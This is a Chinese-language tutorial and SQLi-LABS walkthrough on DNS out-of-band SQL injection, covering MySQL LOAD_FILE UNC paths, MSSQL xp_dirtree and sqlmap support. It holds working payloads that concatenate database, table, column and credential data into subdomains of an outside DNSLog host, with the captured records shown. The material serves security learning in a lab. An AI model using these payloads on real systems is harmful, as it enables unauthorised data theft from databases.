
本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、概念完整攻击流程使用前提注意事项二、DNS外带SQL语法MySQL: LOAD_FILE() UNC路径请求Microsoft SQL Server (MSSQL): 存储过程请求Oracle PostgreSQL带外OOB注入原理与优势注意事项与限制工具化利用SQLMap三、DNS外带SQL注入过程一、准备工作获取DNSlog域名二、使用 LOAD_FILE() 构造UNC路径触发DNS查询1. 外带固定字符串测试连通性2. 外带动态数据三、关键注意点四、靶场注入示例一、环境与目标二、整体流程三、详细步骤与Payload1. 获取当前数据库名2. 获取所有表名3. 获取 users 表的列名4. 提取 users 表中的数据分段四、关键点总结五、注意事项一、概念DNS外带注入是一种高级的SQL注入技巧。当面对一个毫无响应的“盲注”漏洞时传统的手工猜解效率极低而DNS外带注入就像是为数据库服务器接上了一部“电话”让服务器主动“打电话”出来一次性告诉你答案极大地提升了测试效率。这个过程正是它在安全社区常被称为“骚姿势”的原因。简单来说DNS外带注入的核心思路如下巧用“带外”OOB通道大部分SQL注入属于“带内”In-band即攻击和获取数据在同一条请求-响应通道内。而DNS外带注入属于带外Out-of-Band, OOB技术。当Web应用不显示任何错误信息或查询结果时即“盲注”状态它会尝试开辟另一条辅助信道如DNS、HTTP来窃取数据。此类攻击也被称为DNSLog注入。运用数据外带机制攻击者引导易受攻击的数据库服务器在解析某个攻击者控制的域名时将该域名的一部分替换为想要窃取的数据。此举会触发一次DNS查询攻击者只需查看DNS查询日志便能捕获数据。搭建DNSLog平台攻击者需要一个能记录所有DNS查询请求的平台它可以是dnslog.org这样的公共服务也可以自建。其作用就像一个接收器用来捕获数据库服务器发出的含有敏感数据的DNS请求。这类平台一般会提供一个独一无二的三级域名如xxx.dnslog.org任何对该域名及其子域名的查询都会被记录下来。完整攻击流程获取专用域名在DNSLog平台申请一个二级域名例如abc123.dnslog.org。该平台会提供一个真实的DNS解析服务器负责记录所有对该域名的DNS查询。攻击者后续通过访问该平台界面即可查看捕获到的查询日志。构造恶意SQL Payload结合注入点构造SQL语句。最关键的是利用能触发网络请求的函数如MySQL的LOAD_FILE()将查询结果与之前获取的域名进行拼接形成UNC路径。例如SELECT LOAD_FILE(CONCAT(\\\\, (SELECT HEX(user())), .abc123.dnslog.org\\test))该语句会使数据库服务器去解析域名{HEX转换后的数据库用户名}.abc123.dnslog.org从而触发DNS查询。触发并接收数据执行上述SQL语句后目标服务器发起DNS查询。查询日志会在攻击者控制的DNSLog服务器上生成。解码与分析攻击者查看DNSLog平台收集的日志提取数据部分的子域名再利用Base64或十六进制解码等方式还原真实数据。使用前提操作系统要求MySQL下的DNS外带注入主要依赖UNCUniversal Naming Convention路径。UNC是Windows系统的特有语法这意味着该攻击通常只对运行在Windows操作系统上的数据库服务器有效。MySQL配置要求MySQL的关键配置参数secure_file_priv必须为空即secure_file_priv 以允许使用LOAD_FILE()函数访问网络路径。若该参数值为NULL则代表禁止文件导入导出攻击无法进行。数据库用户权限执行此操作的数据库用户需要具备FILE权限才可使用LOAD_FILE()函数。这通常对应root或高级账户。在高版本MySQL中secure_file_priv可能默认为NULL或设置了特定路径同样会导致攻击失效。外连DNS权限目标服务器必须被允许向外部DNS服务器发起查询请求。若目标被部署在网络隔离严格的DMZ区但仍可访问DNS服务器则该方法依然可行。注意事项数据长度限制出于域名长度限制单次外带大量数据时可能需要进行分段处理。同时域名也仅支持部分合法字符因此对敏感数据常用十六进制HEX编码处理。不局限于MySQL该技术同样适用于其他主流数据库MSSQL可通过xp_dirtree、xp_cmdshell等存储过程发起DNS请求。Oracle可利用UTL_HTTP.REQUEST、DBMS_LDAP.INIT等函数。二、DNS外带SQL语法MySQL:LOAD_FILE()UNC路径请求这是DNS外带注入最常见的实现方式。其核心是LOAD_FILE()函数利用Windows的UNC通用命名规则路径机制让MySQL服务器访问一个构造好的网络共享路径从而触发DNS查询。核心前提与工作原理MySQL DNS外带注入的成功需要满足以下条件Windows操作系统利用UNC路径\\server\share发起网络请求是Windows特有的功能因此MySQL服务器必须在Windows系统上。secure_file_priv为空MySQL的一个安全配置。只有当secure_file_priv变量的值为空时LOAD_FILE()函数才能访问网络路径。高权限用户通常需要具备FILE权限的用户才能执行LOAD_FILE()如root。基础语法与常用Payload通用UNC路径格式\\\\攻击者域名\\任意文件名。其中\\表示UNC路径的开头文件可以是任意不存在的文件名仅用于满足函数的参数要求。基础PayloadSELECT LOAD_FILE(CONCAT(\\\\, (SELECT payload), .你的DNSLog域名\\abc));payload的位置就是我们要窃取的数据它会被拼接到域名中。常用Payload示例获取user()、database()、表名等信息。数据编码域名仅允许使用字母、数字和连字符-。为确保特殊字符能顺利外带通常需要进行十六进制HEX编码。Microsoft SQL Server (MSSQL): 存储过程请求MSSQL主要通过XP扩展存储过程xp_dirtree或xp_fileexist来发起请求。核心函数与前提xp_dirtree、xp_fileexist等。通常需要较高权限例如sa或拥有sysadmin固定服务器角色的成员。利用UNC路径用法与LOAD_FILE()类似。常用语法与Payload基础语法DECLARE a VARCHAR(2000); SET a CONCAT(\\, (SELECT 敏感数据), .你的DNSLog域名\\abc); EXEC master..xp_dirtree a;其他函数xp_fileexist也可用于触发DNS请求。Oracle PostgreSQL其他数据库实现DNS外带注入的原理类似但使用的函数和语法不同。OracleUTL_HTTP.REQUEST、DBMS_LDAP.INIT等包可用于发起网络请求。PostgreSQLCOPY ... FROM PROGRAM或dblink等函数。带外OOB注入原理与优势DNS外带注入是带外Out-of-bandOOB注入的一种。当数据库无法直接返回查询结果时可利用HTTP、DNS甚至邮件等其他通道将数据“带出去”。它的主要优势在于效率高无需像布尔或时间盲注那样逐个字符猜测。数据量大可在单个请求中完成一次子域名解析。注意事项与限制强条件依赖数据库必须位于Windows系统且配置、权限均满足要求。实际环境中条件严格但MSSQL的xp_dirtree是默认启用的。WAF绕过这种技术也可能被安全设备监测请求可能被拦截。环境兼容性与数据限制域名有长度限制通常不超过253字符数据过长需要分段发送。同时要仔细检查Payload中的引号等特殊字符避免语法错误。工具化利用SQLMapsqlmap内置了对DNS外带注入的支持--technique参数指定为B布尔盲注、E报错注入、U联合查询注入的同时使用--dns-domain指定DNSlog平台即可。三、DNS外带SQL注入过程一、准备工作获取DNSlog域名访问DNSlog平台如dnslog.org获取一个专属子域名。显示subdomain: ca95a175.log.dnslog.pp.uatoken: jftp5wc4zrmb。说明该子域名作为“接收器”所有对该域名及其子域名的DNS查询都会被平台记录。可选使用ping命令测试DNS解析是否正常。 分别ping ca95a175.log.dnslog.pp.ua和ping chijing.ca95a175.log.dnslog.pp.ua均能解析到IP说明服务可用。二、使用LOAD_FILE()构造UNC路径触发DNS查询在MySQL环境中利用LOAD_FILE()函数访问一个不存在的网络共享路径从而引发DNS解析请求。1. 外带固定字符串测试连通性Payloadselect load_file(concat(//,demo,.62d5b3de.log.dnslog.pp.ua./1.txt))或简化版select load_file(/test.62d5b3de.log.dnslog.pp.ua./2.txt)解释concat将字符串拼接成 UNC 路径\\demo.62d5b3de.log.dnslog.pp.ua.\1.txt注意MySQL中//等价于\\用于UNC路径。数据库服务器尝试访问该路径必须解析域名demo.62d5b3de.log.dnslog.pp.ua因此会发起DNS查询。结果在DNSlog平台看到记录demo.62d5b3de.log.dnslog.pp.ua. test.62d5b3de.log.dnslog.pp.ua.说明外带成功。2. 外带动态数据Payloadselect load_file(concat(//, database(), .cf34d23a.log.dnslog.pp.ua./1.txt))解释database()返回当前数据库名例如demo。拼接后形成demo.cf34d23a.log.dnslog.pp.ua触发DNS解析。结果DNSlog中显示demo.cf34d23a.log.dnslog.pp.ua成功获取数据库名。三、关键注意点UNC路径格式MySQL中UNC路径使用\\或//开头后跟域名和文件名任意。域名后缀通常加上/1.txt或任意文件名确保LOAD_FILE语法正确。无报错时即使LOAD_FILE返回NULL因为文件不存在DNS查询仍会发出。因此只要查看DNSlog有记录即表示外带成功。字符限制域名只能包含字母、数字、连字符不含特殊符号。如果查询结果包含特殊字符需要先进行编码如HEX但你的截图中demo是纯字母所以直接使用。环境要求secure_file_priv必须为空且MySQL运行在Windows系统UNC路径依赖。四、靶场注入示例一、环境与目标靶场SQLi-LABS Less-1字符型注入有联合查询回显DNSlog平台log.dnslog.pp.ua获取子域名cf34d23a.log.dnslog.pp.ua目标利用DNS外带技术在无法直接回显数据的情况下此处联合查询可用但作为演示窃取数据库名、表名、列名及数据。二、整体流程由于Less-1本身就支持联合查询回显DNS外带并非必需但用于演示带外技术。流程如下获取DNSlog子域名cf34d23a.log.dnslog.pp.ua利用LOAD_FILE() UNC路径触发DNS解析将查询结果拼接到子域名中通过DNS记录获取数据三、详细步骤与Payload1. 获取当前数据库名Payload通过联合查询注入id1 union select 1,(select load_file(concat(//,database(),.cf34d23a.log.dnslog.pp.ua/1.txt))),3 limit 1,1-- -执行结果DNSlog平台出现记录security.cf34d23a.log.dnslog.pp.ua→ 当前数据库名为security2. 获取所有表名Payloadid1 union select 1,(select load_file(concat(//,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),.cf34d23a.log.dnslog.pp.ua/1.txt))),3 limit 1,1-- -DNSlog记录emails,referers,uaagents,users.cf34d23a.log.dnslog.pp.ua→ 表名列表emails,referers,uaagents,users3. 获取users表的列名Payloadid1 union select 1,(select load_file(concat(//,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers),.cf34d23a.log.dnslog.pp.ua/1.txt))),3 limit 1,1-- -DNSlog记录id,username,password.cf34d23a.log.dnslog.pp.ua→ 列名id,username,password4. 提取users表中的数据分段由于域名长度限制需使用substr()分批提取。首先获取前31个字符id1 union select 1,(select load_file(concat(//,(select substr(group_concat(concat_ws(-,id,username,password)),1,31) from users),.cf34d23a.log.dnslog.pp.ua/1.txt))),3 limit 1,1-- -DNSlog记录1-Dumb-Dumb,2-Angelina-I-kill-y.cf34d23a.log.dnslog.pp.ua→ 第一段数据1-Dumb-Dumb,2-Angelina-I-kill-y接着提取第32~62字符... substr(...,32,31) ...DNSlog记录ou,3-Dummy-p\ssword,4-secure-cr.cf34d23a.log.dnslog.pp.ua→ 第二段数据ou,3-Dummy-pssword,4-secure-cr继续提取可得到完整数据如4-secure-crappy等。四、关键点总结UNC路径格式MySQL中LOAD_FILE()支持UNC路径格式为\\\\域名\文件或//域名/文件。例如concat(//,database(),.dnslog.cn/1.txt)DNSlog平台需要公网可访问的DNS服务器记录所有对子域名的查询。常用免费平台dnslog.cn,ceye.io,log.dnslog.pp.ua等。数据限制域名总长度不超过253字符单次外带数据不宜过长。域名中只能包含字母、数字、连字符-特殊字符需编码如HEX或BASE64。本例中concat_ws产生的-和,均合法。环境要求MySQLsecure_file_priv必须为空允许LOAD_FILE读取网络路径。数据库服务器必须为Windows系统UNC路径依赖。当前用户需有FILE权限。五、注意事项本例中Less-1本身有联合查询回显DNS外带并非最优解。但在完全无回显的盲注场景如Less-5、Less-9中DNS外带可以极大提高效率。实际攻击中若数据包含特殊符号如!、、#建议使用HEX()编码外带后解码。部分WAF会检测load_file和UNC路径可能被拦截可尝试其他函数如MSSQL的xp_dirtree。